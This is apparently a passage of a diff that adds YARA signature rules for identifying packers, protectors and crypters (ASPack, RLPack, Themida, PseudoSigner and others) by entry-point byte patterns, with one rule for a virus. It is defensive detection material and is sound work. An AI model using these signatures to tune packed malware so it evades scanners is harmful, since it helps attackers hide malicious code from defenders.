+		$0 = {55 8B EC 6A FF 68 00 02 41 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _PuNkMoD_1x__PuNkDuDe_
+{
+	meta:
+		description = "PuNkMoD 1.x -> PuNkDuDe"
+	strings:
+		$0 = {94 B9 ?? ?? 00 00 BC ?? ?? ?? ?? 80 34 0C}
+	condition:
+		$0
+}
+rule _RLPack_118_Dll_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack 1.18 Dll (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 5C 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Unextractable_p_Password_checking_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Unextractable + Password checking)"
+	strings:
+		$0 = {03 05 80 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Duals_eXe_10_
+{
+	meta:
+		description = "Dual's eXe 1.0"
+	strings:
+		$0 = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_yodas_cryptor_12__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake yoda's cryptor 1.2) -> emadicius"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC 90 2C 8A C0 C0 78 90 04 62 EB 01 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v211b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.11b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 3D 04 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_1x__Randy_Li_
+{
+	meta:
+		description = "SDProtector 1.x -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_FaxFreeTopo_
+{
+	meta:
+		description = "Vx: FaxFree.Topo"
+	strings:
+		$0 = {FA 06 33 C0 8E C0 B8 ?? ?? 26 ?? ?? ?? ?? 50 8C C8 26 ?? ?? ?? ?? 50 CC 58 9D 58 26 ?? ?? ?? ?? 58 26 ?? ?? ?? ?? 07 FB}
+	condition:
+		$0 at entrypoint
+}
+rule _App_Encryptor__Silent_Team_
+{
+	meta:
+		description = "App Encryptor -> Silent Team"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 1F 1F 40 00 B9 7B 09 00 00 8D BD 67 1F 40 00 8B F7 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _32Lite_v003a_
+{
+	meta:
+		description = "32Lite v0.03a"
+	strings:
+		$0 = {60 06 FC 1E 07 BE ?? ?? ?? ?? 6A 04 68 ?? 10 ?? ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190c_
+{
+	meta:
+		description = "Armadillo v1.90c"
+	strings:
+		$0 = {55 8B EC 6A FF 68 10 F2 40 00 68 74 9D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Borland_Delphi_50_KOLMCK__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 5.0 KOL/MCK] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PEX_099__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PEX 0.99] --> Anorganix"
+	strings:
+		$0 = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _AsCrypt_v01__SToRM__2_
+{
+	meta:
+		description = "AsCrypt v0.1 -> SToRM - #2"
+	strings:
+		$0 = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 83 ?? ?? E2}
+	condition:
+		$0
+}
+rule _BobSoft_Mini_Delphi__BoB__BobSoft_
+{
+	meta:
+		description = "BobSoft Mini Delphi -> BoB / BobSoft"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8}
+		$1 = {55 8B EC 83 C4 F0 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8 ?? ?? ?? ?? E8}
+		$2 = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _RECrypt_v07x__Crudd_RET_h1_
+{
+	meta:
+		description = "RE-Crypt v0.7x -> Crudd [RET] (h1)"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 61 60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _DSHIELD_
+{
+	meta:
+		description = "DSHIELD"
+	strings:
+		$0 = {06 E8 ?? ?? 5E 83 EE ?? 16 17 9C 58 B9 ?? ?? 25 ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Fusion_10__jaNooNi_
+{
+	meta:
+		description = "Fusion 1.0 -> jaNooNi"
+	strings:
+		$0 = {68 04 30 40 00 68 04 30 40 00 E8 09 03 00 00 68 04 30 40 00 E8 C7 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v1__Vaska_
+{
+	meta:
+		description = "RCryptor v1.?? -> Vaska"
+	strings:
+		$0 = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68}
+		$1 = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_V12X__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.2.X -> Obsidium Software"
+	strings:
+		$0 = {E8 0E 00 00 00 33 C0 8B 54 24 0C 83 82 B8 00 00 00 0D C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt_15__BitShape_Software_
+{
+	meta:
+		description = "PE Crypt 1.5 -> BitShape Software"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 55 20 40 00 B9 7B 09 00 00 8D BD 9D 20 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_MinGW_GCC_2x__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [MinGW GCC 2.x] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_EXE_v20a_
+{
+	meta:
+		description = "Private EXE v2.0a"
+	strings:
+		$0 = {53 E8 00 00 00 00 5B 8B C3 2D}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_14x__RISCO_soft_
+{
+	meta:
+		description = "ACProtect 1.4x -> RISCO soft"
+	strings:
+		$0 = {47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70}
+	condition:
+		$0
+}
+rule _NsPack_34__North_Star_
+{
+	meta:
+		description = "NsPack 3.4 -> North Star"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF 80 38 01 0F 84 42 02 00 00 C6 00 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 ?? ?? FF FF FF B5 ?? ?? FF FF 8B D6 8B CF 8B 85 ?? ?? FF FF 05 AA 05 00 00 FF D0 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB C5}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Modified_Stub_c__Farbrausch_Consumer_Consulting_
+{
+	meta:
+		description = "UPX Modified Stub c -> Farb-rausch Consumer Consulting"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 E8 00 00 00 00 5B 83 C3 66 A4 FF D3 73 FB 31 C9 FF D3 73 14 31 C0 FF D3 73 1D 41 B0 10 FF D3 10 C0 73 FA 75 3C AA EB E2 E8 4A 00 00 00 49 E2 10 E8 40 00 00 00 EB 28 AC D1 E8 74 45 11 C9 EB 1C 91 48}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_v135__risco_software_Inc__Anticrack_Software_
+{
+	meta:
+		description = "ACProtect v1.35 -> risco software Inc. & Anticrack Software"
+	strings:
+		$0 = {4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 47 65 74 50 72 6F 63}
+	condition:
+		$0
+}
+rule _Pohernah_103__by_Kas_
+{
+	meta:
+		description = "Pohernah 1.0.3 - by Kas"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 2A 27 40 00 31 C0 40 83 F0 06 40 3D 40 1F 00 00 75 07 BE 6A 27 40 00 EB 02 EB EB 8B 85 9E 28 40 00 83 F8 01 75 17 31 C0 01 EE 3D 99 00 00 00 74 0C 8B 8D 86 28 40 00 30 0E 40 46 EB ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _VcAsm_Protector_V10X_VcAsm_
+{
+	meta:
+		description = "VcAsm Protector V1.0X-> VcAsm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V220070411__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2007.04.11 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 1B 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_ASPack_2xx_Heuristic__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ASPack 2.xx Heuristic] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_LCC_Win32_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [LCC Win32 DLL] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Microsoft_Visual_Basic_50__60__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Microsoft Visual Basic 5.0 - 6.0] --> Anorganix"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _WebCops_EXE__LINK_Data_Security_
+{
+	meta:
+		description = "WebCops [EXE] -> LINK Data Security"
+	strings:
+		$0 = {EB 03 05 EB 02 EB FC 55 EB 03 EB 04 05 EB FB EB 53 E8 04 00 00 00 72}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_Small_build_033__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 033) -> GlOFF"
+	strings:
+		$0 = {50 66 33 C3 66 8B C1 58 E8 AC FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v109a_
+{
+	meta:
+		description = "Inno Setup Module v1.09a"
+	strings:
+		$0 = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 C4 89 45 C0 E8 A7 7F FF FF E8 FA 92 FF FF E8 F1 B3 FF FF 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_PESHiELD_025__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake PESHiELD 0.25) -> emadicius"
+	strings:
+		$0 = {60 E8 2B 00 00 00 0D 0A 0D 0A 0D 0A 52 65 67 69 73 74 41 72 65 64 20 74 6F 3A 20 4E 4F 4E 2D 43 4F 4D 4D 45 52 43 49 41 4C 21 21 0D 0A 0D 0A 0D 00 58 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PEStubOEP_v1x_
+{
+	meta:
+		description = "PEStubOEP v1.x"
+	strings:
+		$0 = {40 48 BE 00 ?? ?? 00 40 48 60 33 C0 B8 ?? ?? ?? 00 FF E0 C3 C3}
+	condition:
+		$0
+}
+rule _SafeGuard_V10X__simonzh2000_
+{
+	meta:
+		description = "SafeGuard V1.0X -> simonzh2000"
+	strings:
+		$0 = {E8 00 00 00 00 EB 29 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 59 9C 81 C1 E2 FF FF FF EB 01 ?? 9D FF E1}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_099c_Private_ECLIPSE__tE_
+{
+	meta:
+		description = "tElock 0.99c (Private ECLIPSE) -> tE!"
+	strings:
+		$0 = {E9 3F DF FF FF 00 00 00 ?? ?? ?? ?? 04 ?? ?? 00 00 00 00 00 00 00 00 00 24 ?? ?? 00 14 ?? ?? 00 0C ?? ?? 00 00 00 00 00 00 00 00 00 31 ?? ?? 00 1C ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C ?? ?? 00 00 00 00 00 4F ?? ?? 00 00 00 00 00 3C ?? ?? 00 00 00 00 00 4F ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65}
+	condition:
+		$0 at entrypoint
+}
+rule _Mew_11_SE_v12_Eng__Northfox_
+{
+	meta:
+		description = "Mew 11 SE v1.2 (Eng) -> Northfox"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _Aase_Crypter__by_santasdad_
+{
+	meta:
+		description = "Aase Crypter - by santasdad"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 B8 A0 3E 00 10 E8 93 DE FF FF 68 F8 42 00 10 E8 79 DF FF FF 68 00 43 00 10 68 0C 43 00 10 E8 42 DF FF FF 50 E8 44 DF FF FF A3 98 66 00 10 83 3D 98 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 1C 43 00 10 6A 00 E8 4B DF FF FF 68 2C 43 00 10 68 0C 43 ?? ?? ?? ?? DF FF FF 50 E8 0E DF FF FF A3 94 66 00 10 83 3D 94 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 38 43 00 10 6A 00 E8 15 DF FF FF 68 48 43 00 10 68 0C 43 00 10 E8 D6 DE FF FF 50 E8 D8 DE FF FF A3 A0 66 00 10 83 3D A0 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 58 43 00 10 6A 00 E8 DF DE FF FF 68 6C 43 00 10 68 0C 43 00 10 E8 A0 DE FF FF 50 E8 A2 DE FF FF}
+	condition:
+		$0
+}
+rule _ThemidaWinLicense_V18XV19X___Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.8.X-V1.9.X  -> Oreans Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D ?? ?? ?? ?? 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D ?? ?? ?? ?? EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 05 89 48 01 61 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _FileShield_
+{
+	meta:
+		description = "FileShield"
+	strings:
+		$0 = {50 1E EB ?? 90 00 00 8B D8}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Protector_v10x_2_
+{
+	meta:
+		description = "UPX Protector v1.0x (2)"
+	strings:
+		$0 = {EB ?? ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB}
+	condition:
+		$0
+}
+rule _Petite_12__c1998_Ian_Luck_
+{
+	meta:
+		description = "Petite 1.2 -> (c)1998 Ian Luck"
+	strings:
+		$0 = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0D 00 0F 00 11 00 13 00 17 00 1B 00 1F 00 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 83 00 A3 00 C3 00 E3 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 02 02 02}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack__Ap0x_
+{
+	meta:
+		description = "RLPack --> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 2C 0A 00 00 8D 9D 22 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 CD 09 00 00 89 85 14 0A 00 00 EB 14 60 FF B5 14 0A}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 EB 09 00 00 89 85 3A 0A 00 00 EB 14 60 FF B5 3A 0A}
+		$2 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 0C 00 00 EB 03 0C 00 00 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 47 02 00 00 EB 03 15 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 9B 0A}
+		$3 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 2C 0A 00 00 8D 9D 22 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 CD 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 14 0A}
+		$4 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 3A 0A}
+		$5 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 ?? ?? ?? ?? EB 03 ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 9B 0A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint
+}
+rule _RCryptor_v20_Hide_EP__Vaska_
+{
+	meta:
+		description = "RCryptor v2.0 (Hide EP) --> Vaska"
+	strings:
+		$0 = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 DC 20 ?? 00 F7 D1 83 F1 FF E8 00 00 00 00 F7 D1 83 F1 FF C3}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v098b__Jibz_
+{
+	meta:
+		description = "aPack v0.98b -> Jibz"
+	strings:
+		$0 = {93 07 1F 05 ?? ?? 8E D0 BC ?? ?? EA}
+	condition:
+		$0
+}
+rule _NSIS_Installer__NullSoft_
+{
+	meta:
+		description = "NSIS Installer --> NullSoft"
+	strings:
+		$0 = {83 EC 20 53 55 56 33 DB 57 89 5C 24 18 C7 44 24 10 ?? ?? ?? ?? C6 44 24 14 20 FF 15 30 70 40 00 53 FF 15 80 72 40 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE}
+	condition:
+		$0 at entrypoint
+}
+rule _EmbedPE_113__cyclotron_
+{
+	meta:
+		description = "EmbedPE 1.13 -> cyclotron"
+	strings:
+		$0 = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33}
+	condition:
+		$0 at entrypoint
+}
+rule _Noodlecrypt2__rsc_
+{
+	meta:
+		description = "Noodlecrypt2 -> r!sc"
+	strings:
+		$0 = {EB 01 9A E8 76 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v105b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.05b -> Alexey Solodovnikov"
+	strings:
